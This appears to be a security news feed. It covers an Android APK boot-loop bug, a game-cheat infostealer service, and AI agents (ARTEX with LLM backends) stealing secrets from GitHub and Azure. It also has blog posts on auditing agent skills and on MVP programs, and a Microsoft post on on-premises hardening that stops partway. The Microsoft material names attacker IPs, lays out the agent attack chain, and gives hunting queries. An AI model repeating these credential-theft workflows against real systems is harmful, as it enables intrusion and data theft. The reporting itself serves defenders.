Bitdefender Labs disclosed GhostMap, a parser differential bug in how Android handles ZIP entries inside APKs. A malformed entry (neither standard “stored” nor “deflated” compression method, with an oversized declared uncompressed length) causes libandroidfw to map the file into unallocated memory. When a process (notably system_server during package scanning) reads past the real file end, it triggers a SIGBUS crash. The process restarts, re-reads the entry, and crashes again—creating a boot loop that persists across reboots and even in safe mode.

The proof-of-concept app requires no permissions, contains no executable code, and does not need to be launched. Researchers reproduced it on a Pixel 10 running Android 17 (August 2026 patch) and confirmed impact from Android 10 onward. Recovery typically requires a factory reset (data loss) or, if USB debugging was already enabled, ADB deletion of the offending files. Google classified the issue as outside the scope of a security update after reports in August. While no confirmed in-the-wild exploitation of the crash behavior has been reported yet, the public details raise denial-of-service risks for Android devices.

Marsalek Infostealer: Free Malware-as-a-Service Hidden in Fake Roblox, Fortnite, and Other Game Cheats

McAfee Labs detailed Marsalek, a free malware-as-a-service platform active roughly from mid-December 2025 to late May 2026. It distributed information-stealing malware disguised as game cheats, script executors, and utilities for Roblox, Fortnite, Counter-Strike 2, Minecraft, and others. The service provided a public dashboard for payload building (PowerShell, Python, PE, ClickFix vectors), victim tracking, and data access, with a free tier requiring no account.

The multi-stage payloads ultimately steal browser passwords and cookies (Chromium-based and Firefox), Discord tokens, Telegram sessions, crypto wallet data, and more. It employed dual-hook techniques (including PureLog) so stolen data could reach both the customer and the platform operators. McAfee observed more than 1,560 registered accounts, over 400 malicious files, and numerous distribution URLs, often via Discord, GitHub, and fake sites. The campaign targeted gamers seeking unofficial tools and demonstrates the continued effectiveness of gaming-related lures for credential and crypto theft.

ARTEX AI Tool and LLMs (Including Claude Code, DeepSeek, and Grok) Used in Attacks on South Korean Banks

CrowdStrike and related reporting continue to highlight a campaign in which a financially motivated, likely Chinese-speaking actor used the open-source Chinese AI-powered penetration-testing suite ARTEX, combined with large language models, against South Korean financial institutions in late September–early October 2026. Targets included employee- and partner-facing systems at banks such as Shinhan, KB Kookmin, and Hana (plus smaller lenders), resulting in exposure of personal and financial data affecting tens of thousands of records (reports cite figures around 68,000 people across institutions).

The operator leveraged ARTEX with backends including DeepSeek, supplemented by Claude Code sessions involving models such as GLM and Grok. Operational security failures—exposed directories containing Claude session histories, configurations, and even a résumé draft—aided attribution and investigation. The incidents illustrate how accessible agentic AI tools can accelerate reconnaissance and exploitation against real organizations, prompting regulatory responses in South Korea.

These stories reflect a landscape of sophisticated social engineering (including AI-assisted), network device zero-days that evade prior patches, novel mobile denial-of-service, gaming-targeted stealers, and the growing weaponization of open-source AI pentesting frameworks. Organizations should prioritize rapid patching of exposed management interfaces, employee awareness around recruitment scams and unsolicited downloads, mobile app installation hygiene, and monitoring for AI-driven attack patterns.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

How to Keep the AI Agent Skills Inventory Honest

By: Rod Trent
5 November 2026 at 11:01

In the previous post I listed seven non-negotiables for secure coding once agents can both write code and install the tools that run it. Point 5 — inventory every agent, its allowed tools, its data access, and its approval boundaries — is the one that sounds simple until you try to do it at team scale. Dean asked the obvious next question: what tools or techniques actually keep that list from turning into a lie within a month?

Here’s the practical answer.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

Treat skills the way you already treat packages and IAM roles

A skill is a folder containing a SKILL.md (plus optional scripts, references, and assets) that an agent loads to gain a specialized capability. In Claude Code, Cursor, Codex, Copilot, and a growing list of other tools, that folder can pre-approve tools, run shell commands, read files, and call external services. Uninventoried skills are equivalent to unreviewed privileged services running on developer machines and in CI. The control model is the same one that already works for dependencies and roles: versioned, reviewed, owned, and least-privilege.

The minimum viable inventory

Start here. Most teams get 80% of the value with no new infrastructure.

  • Git as the source of truth. Store skills as folders in a dedicated repo or monorepo. Changes go through normal pull requests. Use CODEOWNERS. Require a short security checklist on every change.

  • Pin everything. Install from a specific commit, tag, or digest. Never floating “latest.” Record the hash in the inventory.

  • An explicit inventory table. A spreadsheet, a markdown file in the same repo, or a lightweight page in whatever system you already use. Columns that matter:

    • Skill / agent name

    • Allowed tools and data access

    • Approval boundaries (who can change it, what it is allowed to do)

    • Owner (named person)

    • Source and hash

    • Last review date

  • Review before it is allowed to run. The eight-point check that keeps showing up in the better write-ups is good enough:

    1. Read the entire skill.

    2. Confirm scripts match the stated purpose.

    3. Look for adversarial or hidden instructions.

    4. Check for unexpected network calls or external URLs.

    5. Confirm there are no hardcoded credentials.

    6. Verify the tools and commands are the minimum required.

    7. Look for data-exfiltration patterns.

    8. Require an owner and a reviewer who is not the author.

Anything that fails the checklist stays out of the approved set. Anything without an owner gets removed.

Tooling that makes the inventory continuous

Once the number of skills or the blast radius grows, manual tracking breaks. These are the approaches that are currently useful:

  • Dedicated skill registries. SkillReg is the clearest example of applying the package-registry model to SKILL.md files. It gives you semantic versioning with immutable releases, organization-level access control, automated scanning on publish (secrets, destructive commands, exfil patterns, unapproved URLs), download analytics, and CLI installs that target Claude Code, Codex, Cursor, and others. It is the closest thing to “npm for agent skills” that exists today.

  • Continuous discovery. StepSecurity’s Dev Machine Guard and GitHub Agent Skills views inventory skills found on developer machines and in your organization’s repositories. They show which agents can load each skill, whether it contains executable content (code, hooks, shell), and where it came from. This is the practical way to find the shadow installs that never made it into the official list.

  • Scanners and loadout auditors. Tools such as skill-audit (prompt-injection and exfiltration checks, SARIF output) and loadout scanners that report collisions and actual usage from traces belong in CI or as part of the PR gate. They do not replace human review; they make the review faster and more consistent.

Public skill directories and marketplaces are useful for discovery. They are not a substitute for a private, reviewed, versioned inventory of the skills you actually allow.

Techniques that keep the inventory from rotting

  • Narrow the allowed-tools frontmatter. Broad tool access is a privileged role; treat it like one.

  • Separate skills (procedures and workflows) from MCP servers (live system access). Inventory both. An agent that can call an MCP tool should have an explicit record of that tool, its credential scope, and its owner.

  • Log skill add, change, and remove events with hash, source, and approver. Alert on credential-path access or unexpected egress while a skill is active.

  • Enforce allowlists where the agent supports them (Claude Code managed settings and similar controls). On corporate devices, only approved skills and plugins should load.

  • Prune on a schedule. Quarterly review of unused skills, plus immediate revocation of anything that loses its owner. Skills that no longer match real work or that models now handle unaided should be deleted.

When to level up

If you have fewer than ten skills and a single team, the Git repo + inventory table + checklist is enough. Move to a private registry and continuous discovery when:

  • Multiple teams share skills

  • Skills contain scripts or pre-approved tools

  • You need an audit trail for compliance or incident response

  • Shadow installs start appearing on developer machines

The teams that treat AI-generated code and agent skills as first-class attack surface will ship more safely than the teams that treat them as productivity features. The inventory is the difference between those two outcomes. Everything else is optional until the inventory is real.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

What If Vendor Community Programs Just Disappeared?

By: Rod Trent
5 November 2026 at 08:02

NOTE: This post is purely hypothetical, intended to be thought provoking. Even so, it illustrates how healthy communities are shaped and sustained by the people in them—and how their evolution is ultimately driven by the community itself.

Imagine the announcement lands on a quiet morning: after more than three decades, the Microsoft MVP program is ending. No more renewals. No more early access. No more formal recognition, Global Summits, or the quiet status that comes with the blue badge. The program that began in 1993 on CompuServe forums—born from a simple list of the people answering the most questions—is gone.

What does that world look like? And who picks up the work?

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

Before the Badge

There was a time before structured vendor programs, and it wasn’t that long ago. In the 1990s, people who needed help with Microsoft technologies gathered on CompuServe, Usenet, and whatever web forums they could find. Recognition came from answering hard questions consistently, not from an award letter. The original MVP idea itself grew out of that environment—Calvin Hsia’s list of top posters in the FoxPro forum, followed by Microsoft inviting a handful of those people to the first TechEd.

Around the same period, independent communities formed for the same reason: official channels weren’t enough, and people needed places to trade practical knowledge. myITforum was one of those early experiments. It started as a focused hub for systems management professionals dealing with SMS and ConfigMgr, grew through forums, articles, and a newsletter, and became a daily destination for tens of thousands of IT people. No vendor owned it. No badge was required to participate. It existed because enough people decided the problems were worth solving together.

That pattern has repeated across technologies and eras. Communities form where the friction is high and the official answers are incomplete. Vendor programs later formalized and amplified some of that energy. They didn’t invent it.

What Disappears (and What Doesn’t)

If the MVP program (and similar vendor programs) vanished, several things would change quickly.

Formal recognition would vanish with it. The badge has long served as a shorthand for “this person has demonstrated consistent, high-quality community impact.” Without it, reputation becomes harder to signal and easier to contest. Hiring managers, event organizers, and customers would have to rely more on public work—blogs, talks, GitHub contributions, long-running forum or Discord threads, and word of mouth.

Early access and direct product-team relationships would also tighten. MVPs have historically received pre-release information and a structured path for feedback. Product teams would still need real-world input, but the mechanism would likely become more selective, more ad-hoc, or more commercial (paid ambassadors, customer advisory boards, or public beta programs with fewer privileges). The feedback loop wouldn’t stop; it would just lose one of its more consistent channels.

Some people would step back. A portion of contribution is motivated by the recognition, the access, or the sense of belonging to a formal group. When those incentives disappear, so does some of the activity. That is normal. Not every volunteer effort is purely intrinsic, and programs make the extrinsic path clearer.

What would not disappear is the underlying need. IT professionals still hit obscure problems at 2 a.m. Product teams still need to understand how their tools actually behave in customer environments. People still enjoy explaining hard things to others. The infrastructure for that has improved dramatically since the CompuServe days.

How Community Would Flourish

Today’s tools make independent community far more viable than it was in the late 1990s or early 2000s. A single person can run a Substack that reaches thousands, host real-time discussions on Discord, publish technical deep-dives on a personal site, speak at independent conferences, and maintain a GitHub repository of samples and tools—all without permission from a vendor.

The people who already do most of the real work would continue. Many current MVPs blog, speak, answer questions, and build samples because they like the work and the audience, not solely because of the annual award. Remove the award and the most committed ones keep going; the audience simply follows the content rather than the badge. New voices would also emerge more easily once the formal gatekeeping of recognition is gone. Reputation would be earned in public, repeatedly, rather than conferred once a year.

Independent spaces would fill the gap. Local user groups, vendor-neutral conferences, focused Discord servers, long-running newsletters, and open-source communities around specific tools would absorb more energy. Some would stay tightly focused on one vendor’s stack; others would deliberately stay multi-vendor or technology-agnostic. The fragmentation would increase, but so would ownership. Creators would control their audiences and archives instead of depending on a corporate program that can change direction.

Product feedback would become messier and more public. Instead of structured MVP feedback channels, more of it would surface in open GitHub issues, public blog posts, Reddit threads, and social media. Some of that would be noisier. Some of it would reach the right people faster because it is visible to everyone, not just a selected group.

Who Takes the Mantle?

No single organization replaces a 30-year program. The mantle goes to whoever shows up consistently with useful answers.

It goes to independent writers and practitioners who already treat community as part of their work—people running technical newsletters, maintaining documentation sites, or organizing local meetups. It goes to the organizers of conferences that have long operated with partial or no vendor funding. It goes to open-source maintainers and the communities that form around specific tools, regardless of which company ships the commercial version. And it goes to platforms that let individuals own the relationship with their audience rather than renting it from a vendor program.

In short, it goes to the same kinds of people who built the early forums and sites like myITforum: practitioners who needed better answers than they could find, and who decided to create the place where those answers could live.

Vendor programs are amplifiers. They make recognition easier, access more reliable, and certain conversations more direct. They are not the source of the desire to help, to teach, or to improve the tools everyone uses. That desire existed before the first MVP awards were mailed out in 1993, and it would still exist the morning after any program shut down.

Communities are resilient because they form around problems, not around awards. The tools are better now than they were when the earliest independent IT forums appeared. The people who care enough to keep answering the hard questions are still out there. They always have been.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

Threat actors use agentic AI tooling to find and abuse exposed secrets

Microsoft Threat Intelligence has observed threat actors using an agentic AI offensive framework to search public GitHub repositories for exposed secrets, including credentials, application credentials, and AI inference-related API keys across multiple applications and cloud services. These threat actors can then use the secrets for further malicious activity against the compromised organization.

Searching open code repositories for exposed credentials, secrets, keys, and other authentication material is a well-documented technique that has historically been limited by the time required for human operators to find code repositories, review the data in the repositories, and leverage authentication material for further action. However, agentic tooling like ARTEX allows threat actors to not only scan for secrets across multiple repositories at a quicker pace but also use the agents to analyze the output and conduct follow-on attacks, cutting down on the need for the threat actor to have hands-on-keyboard interactions throughout the attack chain. In at least one case, Microsoft observed an AI agent advance from scanning GitHub for secrets to exfiltrating data from Azure Key Vault in just five minutes.

Microsoft has also investigated follow-on activity involving the misuse of valid application credentials. As early as October 28, 2026, Microsoft began observing successful service principal sign-ins from the IP address 199.19.77[.]84 involving multiple application IDs across some impacted customers, including cases where a multitenant application credential was compromised at the source (vendor-owned application) and used to access multiple downstream tenants. The threat actor used the compromised credentials for cloud resource discovery, and credential and data exfiltration, including from Azure Key Vaults and Storage Accounts, and abuse of Azure AI services consistent with the activity described above. Additionally, Microsoft observed malicious activity originating from two IP addresses potentially associated with this campaign. We identified malicious operations from 65.87.223[.]26, including indications of vulnerability exploitation by embedded shell commands in a user agent and attempts to obtain App Service authentication tokens. A similar campaign involving the same IPs addressed was also reported by Todyl. Separately, Microsoft observed reconnaissance operations from 157.22.126[.]128 targeting AI workloads deployed by victims on Azure AI services.

Microsoft encourages organizations to scan their code in GitHub and determine where any secrets are present. In addition to removing the secrets from the code base, affected organizations should immediately rotate any exposed keys or credentials. GitHub monitors public repositories by automatically scanning for secrets. In addition to scanning their own repositories, organizations can enable public monitoring through GitHub to detect secrets leaked in secondary public repositories across GitHub. This extends secret scanning beyond the repositories an enterprise owns to follow potential secret exposure across the platform. GitHub Advanced Security for Azure DevOps scans for credentials and other sensitive content in source code. Push protection can also block supported secrets before they’re pushed. Organizations need either GitHub Advanced Security for Azure DevOps or, for organizations using the standalone experience, GitHub Secret Protection for Azure DevOps enabled.

Secrets are exposed in public repositories when code containing the secret is committed to GitHub. Developers might store secrets in configuration files, scripts, or other code to quickly operationalize the OAuth application or avoid configuring more modern authentication flows. Organizations can reduce exposure by protecting workload identities and secrets, enforcing least privilege, safeguarding recovery resources, and enabling relevant Microsoft Defender for Cloud protections. Publicly exposed credentials remain usable until revoked or rotated; removing the original disclosure alone does not remediate the exposure. Microsoft recommends that developers migrate OAuth applications away from secret-based authentication. While storing long-lived application client secrets in code is a common practice, using managed identities for application authentication eliminates the possibility of secret exposure in code, manual processes associated with secret management, and barriers to securely scaling applications.

This activity illustrates an ongoing trend of threat actors accelerating all stages of the attack chain with agentic AI penetration testing frameworks, including ARTEX. As these capabilities evolve, defenders must similarly use AI to investigate and respond across large environments.

From exposed secrets to cloud compromise

Starting in August 2026, Microsoft observed threat actors using an agentic AI offensive framework to submit large volumes of queries to GitHub for secrets. The queries submitted by the AI framework often included the name of a target organization, keywords for secrets, a keyword linked to cloud services, or a keyword linked to another AI service provider. Organizations that find their secrets exposed in public repositories must assume that the exposed secrets and associated applications are compromised.

Follow-on actions

Credential abuse via Entra ID

In one follow-on attack that began as early as October 28, 2026, an agentic framework used valid leaked or stolen application credentials to access Microsoft Entra ID tenants of certain organizations and connected Azure and Microsoft 365 resources. The sign-ins primarily came from two IP addresses: 199.19.77[.]84 and 199.19.77[.]18. The latter IP address is a Tor exit node, which might be associated with unrelated malicious activity, including from unrelated sources. The agent successfully conducted service principal sign-ins on dozens of associated applications across multiple tenants.. Service principals are the identities that applications use to authenticate and give direct, programmatic access to whatever the application is authorized to reach.

The threat actor targeted operations that return credentials, including storage account keys, App Service settings, connection strings and publishing credentials, AI and machine learning (ML) connections and datastores, and Azure Kubernetes Service (AKS) user credentials. The compromised applications subsequently accessed SharePoint and OneDrive in the targeted organization tenants, including file downloads and mailbox-item access. In some tenants, the threat actor sent Microsoft Graph API requests, which were mostly searches to find content of interest. The threat actor enumerated subscriptions, resource groups, permissions, AI model deployments, and service configurations in Azure to map the environment.

Additionally, the threat actor attempted to validate stolen Azure resources, including compromised Azure AI services, as identified using Defender for Cloud’s AI threat protection. Observed activity suggests that the threat actor might have attempted to abuse some of these compromised AI resources to facilitate their broader attack activity.

Figure 1. Tactics, techniques, and procedures (TTPs) observed across the credential abuse attack chain

Cloud API adjustments indicative of adaptive behavior

Additionally in this attack the agent’s operations on a victim’s Azure Resource Manager (ARM) instance originating from 199.19.77[.]84 demonstrated sequences consistent with adaptive troubleshooting, where failed cloud API requests were followed by changes to HTTP methods or API versions and subsequent HTTP 200 responses:

  • A batch of ARM requests attempting to enumerate secret metadata across multiple Azure Key Vault resources returned HTTP 400 (Bad Request). These requests specified a version associated with Key Vault’s data-plane APIs against ARM (control-plane) APIs. Approximately 28 seconds after the first failed response, a batch rerun began against the same vault resource paths using the ARM API version 2023-07-01 and returned HTTP 200.
  • A GET request to enumerate an Azure SQL server’s firewall rules specified an outdated API version and returned HTTP 400. Approximately 60 seconds after that request, a matching GET began using a supported version and subsequently returned HTTP 200. The URL changed only in its api-version parameter.
  • An ARM POST request to an Application Insights query endpoint returned HTTP 400 because an outdated API version was specified. Approximately 80 seconds after the failed request, another POST began against the same endpoint, specifying a supported API version, and subsequently returned HTTP 200.

OAuth application abuse

In multiple cases, Microsoft observed the same agentic AI tools subsequently obtain a token for a single-tenant OAuth application in the same target organization, then use the compromised OAuth application to enumerate other cloud resources within the organization. In some cases, the agents exfiltrated secrets from the organization’s Azure Key Vault. The agents once authenticated have also searched Azure DevOps for secrets. Until the secrets are revoked or rotated, they can allow a threat actor to maintain persistence in the organization, compromise additional identities, or hijack resources. In one observed case, an AI agent progressed from searching for the client secrets in GitHub to exfiltrating data from Azure Key Vault in five minutes.

The agents also used the compromised OAuth application to use the Run Command, which runs scripts in Azure VMs. With access to this functionality on a VM, a threat actor can access unsecured credentials and other stored data, compromise associated workload identities, or run code that provides persistence or lateral movement.

During this activity, the AI agents repeatedly demonstrated a focus on credentials that provide access to AI services, such as API keys for major AI service providers and OAuth applications with access to Foundry Tools (previously known as Azure Cognitive Services). Multiple public reports have documented threat actors using agentic AI tools to compromise credentials for AI services, sometimes to run the same agentic AI workflow.

Mitigating application credential abuse activity

Microsoft recommends the following mitigation steps to contain, detect, and investigate this threat.

Containment

  • Block 199.19.77[.]84/32 as a named location in a Conditional Access policy targeting workload identities, assigned directly to service principals, and in a user-scoped block policy to cover replayed sessions. Note that workload identity policies require Workload ID Premium licensing and cover only single-tenant apps registered in your tenant. Block the exact IP rather than the whole ASN.
  • For affected users, revoke Entra sessions, Azure DevOps PATs and SSH keys.
  • For any affected application, remove all client secrets, certificates and federated credentials, including those added by the threat actor and disable the service principal if needed. Tokens already issued remain valid until expiry.
  • Rotate everything stored in any Key Vault the affected application could read, and any credentials found in accessed documents.
  • MSPs: Review Partner Center access, GDAP relationships, and customer tenants, and notify affected customers per your agreements.

Detection and hunting

  • Review Entra service principal and non-interactive sign-in logs for 199.19.77[.]84 and 199.19.77[.]18 including failed attempts. Sign-in errors AADSTS7000215 (invalid secret) or AADSTS7000222 (expired secret) indicate someone holds a credential for your app; a failure followed by a success is urgent.
  • Review Azure Activity, Key Vault and Storage diagnostics, Entra audit, Azure DevOps audit and Microsoft 365 unified audit logs for the address, including secret reads, blob and file downloads, and changes to apps, permissions or pipelines.
  • In Azure DevOps auditing, review PAT creation and first use, federated service connections, pipeline runs and edits, and unfamiliar user agents. Enable auditing if it is off.
  • Look for behavior as well as the IP: one address authenticating to three or more service principals with mixed success, or one app requesting tokens across Azure Resource Manager, Key Vault, Storage and Graph in a short window. Search as far back as retention allows.

Defending against agentic AI attacks

Threat actors can and do change the source IP address, user agent strings, and other fingerprints left by the agentic AI penetration testing tools they use. This can make identifying and blocking malicious network traffic early difficult for defenders.

Several behavioral signals can help organizations determine that they are being targeted by threat actors using agentic AI. Agentic AI frameworks scanning a target send a wide variety of requests in a brief time and retry variations on the same technique or move on to next-stage actions at machine speed. Agentic AI frameworks use existing penetration testing tools. For example, ARTEX by default uses Nmap, curl, wget, Python HTTP clients, Norma SDK WebFetch, and headless Chromium through Playwright, among others. These tools may send network traffic with distinctive characteristics, such as default user agent strings. While blocking network traffic with these characteristics will not stop an attack by an AI agent, which will quickly change them, identifying them can alert defenders to the activity.

Defensive honeypots, decoys, tarpits, and fake wins can pull autonomous AI attacks away from legitimate targets. Honeypots and decoy surfaces such as Microsoft Sentinel Deception give the agent attractive but worthless targets to pursue. Tarpits consume the agent’s time and budget. Fake wins present convincing evidence that the agent’s objective is complete, which can cause it to stop on a false success. In Microsoft’s testing, these controls helped reduce the attack traffic reaching real assets and produced high-confidence, attribution-quality signal.

Microsoft recommends the following mitigations to reduce the impact of this threat.

  • Protect and continuously assess application credentials and secrets. Avoid storing service principal credentials, storage keys, connection strings, and other secrets in source code, configuration files, public repositories, issues, or other locations where they might be inadvertently exposed. To find credentials in source code, consider using tools like GitHub Advanced Security or other OWASP source code analysis tools.
  • Rotate compromised or exposed credentials immediately and establish credential lifecycle practices. Treat credentials that have been publicly exposed as compromised, even if the original location has subsequently been edited or deleted. Removing the content does not invalidate the credential or eliminate copies retained in edit history, caches, archives, logs, or other systems. Immediately revoke or rotate the affected credentials and investigate their historical use. Where supported, organizations should favor mechanisms that reduce reliance on long-lived credentials. Learn more about protecting secrets with Defender for Cloud.
  • Configure restrictions on how applications can be configured, such as restricting new user-provided app passwords and enforcing a max lifetime range for a password secret.
  • Enable appropriate Microsoft Defender for Cloud plans for critical Azure workloads. Consider enabling workload protections relevant to the resources in your environment, including Defender for Resource Manager, Defender for Storage, Defender for Key Vault, Defender for App Service, and Defender for Databases. Learn more in the Microsoft Defender for Cloud overview.
  • Apply least privilege to service principals and other workload identities. Review the Azure role-based access control (RBAC) permissions assigned to service principals and restrict their privileges to the resources and operations required by their applications. Learn more about best practices for Azure RBAC.
  • Protect backup and recovery infrastructure as part of resilience. Restrict access to backup and recovery resources and closely monitor attempts to modify or remove their protection controls. Learn more about Azure Backup security best practices.

Hardening OAuth applications against compromise involves managing the permissions of the applications in your organization and securing application secrets. To triage applications in your environment, enforce security policies with new applications as they are created, and address existing applications over time beginning with the most recent ones.

Microsoft detections

Microsoft Defender and Microsoft Sentinel customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Tactic Observed activity Microsoft Defender and Sentinel coverage
Initial accessMultiple identity-protection alerts identified authentication attempts from anonymized or high-risk infrastructure. This pattern can indicate attempted access through proxy, VPN, or previously reported malicious network sources.Microsoft Entra ID Protection
– Anonymous IP address
Initial accessAttack-analysis detections identified OAuth application activity consistent with compromise. This type of detection is useful when evaluating whether an app identity, rather than only a user identity, may have been abused.Microsoft Defender XDR
– Potentially compromised OAuth application identified through attack activity analysis
Initial access, DiscoveryUnattributed network indicators related to ARTEX use are flagged by Microsoft Threat Intelligence research and surfaced across multiple alerts. Suspected ARTEX use can include activity beyond the GitHub repository scanning activity discussed in this blog.Microsoft Sentinel
– Abnormal Deny Rate for Source IP
– Abnormal Port to Protocol
– Inbound Network Attack detected
– Malformed user agent
– Password spray attack against Azure AD application

Microsoft Defender XDR
– Account compromised following a password-spray attack
– Anomalous OAuth device code authentication activity
– Multiple Service Principal Sign-ins from Single IP
– Graph API activity from a Microsoft threat intelligence IP address

Microsoft Defender for Cloud Apps
– Activities from suspicious user agents
– Multiple failed login attempts
– Multiple failed user log on attempts to an app
– OAuth application activity from an uncommonly visited ISP
– Suspicious OAuth app registration

Microsoft Defender for Cloud
– Key vault unusual access denied – user/application accessing high volume of denied key vaults
– Access from an unusual location to a sensitive blob container
– Azure Resource Manager operation from suspicious IP address

Microsoft Entra ID Protection
– Atypical travelMalicious IP addressPassword Spray
– Verified threat actor IP
Credential accessIdentity-protection detections observed password spray behavior. This indicates repeated authentication attempts across accounts or tenants using a common source pattern.Microsoft Entra ID Protection
– Password spray

Microsoft Defender for Identity
– Suspicious service principal sign-in following credential addition
Credential accessAzure Key Vault accessMicrosoft Defender for Cloud (Defender for Key Vault)
– Unusual operation pattern in a key vault
– High volume of operations in a key vault
– Unusual application accessed a key vault
– Suspicious secret listing and query in a key vault
– Unusual access to the key vault from a suspicious IP (Non-Microsoft or External)
Command and controlSuspicious Microsoft Graph API usage was observed from campaign infrastructure. The activity involved Graph requests that can support discovery, collection, or follow-on cloud operations. Microsoft Defender for Identity
– Suspicious Entra Graph API query observed

Advanced hunting queries

The following hunting queries are related to the October 28 Entra ID service principal sign-in activity.

Find successful and failed application sign-ins from the suspicious IP addresses

let startTime = datetime(2026-10-28T00:00:00Z);
let endTime = now();
EntraIdSpnSignInEvents
| where Timestamp between (startTime .. endTime)
| where IPAddress in ("199.19.77.84")
| project Timestamp, TenantId, Application, ApplicationId, ServicePrincipalName, ServicePrincipalId, ResourceDisplayName, ResourceId, ResourceTenantId, IPAddress, ErrorCode, UserAgent, CorrelationId, RequestId
| order by Timestamp asc

Find Microsoft Graph API requests from the two IP addresses, including searches and response status

let startTime = datetime(2026-10-28T00:00:00Z);
let endTime = now();
GraphAPIAuditEvents
| where Timestamp between (startTime .. endTime)
| where IpAddress in ("199.19.77.84")
| project Timestamp, TenantId, ApplicationId, ServicePrincipalId, AccountObjectId, IpAddress,
          RequestMethod, RequestUri, ResponseStatusCode, ResponseSize, Scopes, EntityType,
          TargetWorkload, UniqueTokenIdentifier, ClientRequestId, OperationId, RequestId
| order by Timestamp asc

Find available Microsoft 365 and Microsoft Azure cloud activity details from the suspicious IP addresses

let startTime = datetime(2026-10-28T00:00:00Z);
let endTime = now();
CloudAppEvents
| where Timestamp between (startTime .. endTime)
| where IPAddress in ("199.19.77.84")
| project Timestamp, Application, CloudAppId = ApplicationId, ActionType, ActivityType,
          AccountType, AccountDisplayName, AccountId, AccountObjectId, IPAddress, UserAgent,
          ObjectName, ObjectType, ObjectId, ActivityObjects, ReportId, RawEventData
| order by Timestamp asc

CloudAuditEvents table to identify suspicious controlplane operations

CloudAuditEvents
| where IPAddress has_any  ('199.19.77.84','65.87.223.26')

CloudStorageEvents table to identify possible exfiltration from Storage Accounts.

CloudStorageAggregatedEvents
| where IPAddress in   ('199.19.77.84','65.87.223.26')
| where SuccessfulOperationsCount > 0   

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the activity and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Threat actors use agentic AI tooling to find and abuse exposed secrets appeared first on Microsoft Security Blog.

New investments to reduce on-premises security risk

5 November 2026 at 12:10

On-premises servers can be essential to business operations, but they are increasingly attractive targets to attackers. AI can help less-skilled actors analyze software, develop malicious tools, and repeat attack workflows at greater speed and scale, shortening the window between exposure and exploitation. Organizations need to strengthen security faster without disrupting the critical workloads they rely on.

Today, we’re announcing a new on-premises security initiative, initially focused on server workloads. The initiative brings together guidance, migration, and product investments to help customers understand and prioritize risk, reduce their on-premises footprint wherever possible, and strengthen critical workloads that need to remain. Guidance for the initiative will soon be available through Secure Now, which also includes our AI readiness checklist in Microsoft Security Exposure Management and guidance for strengthening foundational security.

Understand Identify the most important on-premises risks and prioritize actions customers can take now. Reduce Move workloads to Microsoft 365 where possible to take advantage of cloud-based security, resilience, and continuous innovation. Secure Strengthen critical workloads that need to remain on-premises and reduce the manual work required to keep them secure.

This approach starts with understanding where to focus—and extends to making supported on-premises products more secure by default.

Modernize where you can, and strengthen the security of what must remain.

Making supported on-premises workloads more secure by default

Within the Secure pillar of the on-premises security initiative, we’re also hardening the products themselves through On-Premises Baseline Security Mode, starting with supported Exchange Server, SharePoint Server, and Skype for Business Server workloads.

On-Premises Baseline Security Mode

On-Premises Baseline Security Mode is designed to make the default security posture stronger—reducing the number of recommended security settings administrators must configure and maintain manually. For supported on-premises server workloads, it starts with a validated and tested secure-by-default configuration from initial deployment, while preserving administrator control. Building on protections available today, it progressively establishes and maintains more of the recommended security posture through the products themselves, adapting the baseline as threats and Microsoft security guidance evolve.

The result is less manual effort and a stronger security posture maintained increasingly through the products themselves. We’re advancing this work across three areas: Patch, Configure, and Protect.

Figure 1: On-Premises Baseline Security Mode builds on capabilities available today across Patch, Configure, and Protect, with greater automation and stronger defaults coming over time.

Patch: close known vulnerabilities faster

The need is clear in our deployment data: many Exchange Server deployments are not running the current security update, including a substantial share on unsupported versions. Closing this protection gap requires both releasing fixes faster and helping customers apply them sooner.

Today. Since September 2026, Microsoft has released not only Critical but also Important security updates outside the traditional Patch Tuesday schedule when faster action is needed, helping customers address known vulnerabilities sooner.

Next. In Q1 calendar year 2027, we’re targeting automatic application of security updates after a fixed period following release in connected SharePoint Server, Exchange Server, and Skype for Business Server environments.

Release fixes faster, then help those fixes reach servers faster.

Configure: make the safer posture easier to maintain

Security requires more than current software. Configuration and permissions can drift over time, creating gaps between the intended security posture and the environment administrators are operating. Customers need a clearer way to identify those gaps, establish recommended settings, and maintain them as environments evolve.

Today. Tenant Configuration Management can help customers assess supported SharePoint, Exchange, and Skype for Business Server environments and identify where permissions are broader than intended.

Next. In Q1 2027, we plan to introduce hardened default configurations for SharePoint Server, Exchange Server, and Skype for Business Server, moving from identifying configuration risk toward establishing Microsoft-recommended security settings by default. We also plan to identify configuration drift so administrators can see when environments move away from that baseline.

Make the safer configuration easier to establish and harder to unintentionally lose.

Protect: reduce exposure when threats can’t wait for a patch

Some threats emerge before a permanent security update is available and fully deployed. During that window, customers need mitigations that can reduce exposure quickly without replacing the underlying security update.

